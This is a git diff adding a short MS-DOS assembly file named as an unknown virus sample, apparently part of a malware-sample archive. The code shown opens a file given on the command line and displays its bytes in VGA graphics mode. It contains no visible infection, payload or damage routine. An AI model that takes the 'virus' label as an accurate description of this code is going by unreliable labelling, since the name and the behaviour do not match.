Add files via upload

MSDOS/Virus.MSDOS.Unknown.vi5.asm

@@ -0,0 +1,35 @@
+.286
+.model tiny
+.code
+	org	100H
+start:	ror	si,1
+	lodsb
+	add	si,ax
+	mov	[si],ah
+	mov	dx,82H
+	mov	ax,3D00H
+	int	21H
+	jc	rt
+	mov	cx,40*200
+	xchg	bx,ax
+	push	0A000H
+	pop	ds
+	mov	al,13
+	int	10H
+	mov	si,10H
+m10:	mov	dx,03C4H
+	mov	al,2
+	out	dx,al
+	xchg	si,ax
+	shr	al,1
+	inc	dx
+	out	dx,al
+	xchg	si,ax
+	mov	ah,3FH
+	cwd
+	int	21H
+	or	ax,ax
+	jnz	m10
+	int	16H
+rt:	ret
+end	start